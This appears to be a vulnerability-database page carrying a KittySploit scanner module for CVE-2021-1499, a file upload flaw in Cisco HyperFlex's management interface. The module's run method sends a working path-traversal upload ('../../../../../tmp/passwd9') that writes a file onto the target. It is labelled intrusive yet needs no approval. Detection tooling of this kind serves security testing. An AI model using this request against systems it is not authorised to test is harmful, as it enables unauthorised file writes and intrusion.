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Cisco HyperFlex HX Data Platform - Arbitrary File Upload Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Arbitrary file upload in Cisco HyperFlex HX Data Platform web-based management interface.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management i."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Cisco HyperFlex HX Data Platform - Arbitrary File Upload Detection',
        'description': 'Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2021', 'cve', 'fileupload', 'intrusive', 'packetstorm', 'cisco', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/',
            'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz',
            'http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-1499',
            'https://github.com/Z0fhack/Goby_POC',
        ],
        'cve': 'CVE-2021-1499',
    }

    def run(self):
        path = '/upload'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary=---------------------------253855577425106594691130420583', 'Origin': '{{RootURL}}', 'Referer': '{{RootURL}}'}, data='-----------------------------253855577425106594691130420583\nContent-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9"\nContent-Type: application/json\n\nMyPasswdNewData->/api/tomcat\n\n-----------------------------253855577425106594691130420583--\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('{"result":', '"filename:', '/tmp/passwd9',)
        header_any = ('application/json',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='Cisco HyperFlex HX Data Platform - Arbitrary File Upload detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 25
CVSS 3.15.3
EPSS0.80426
SSVC
4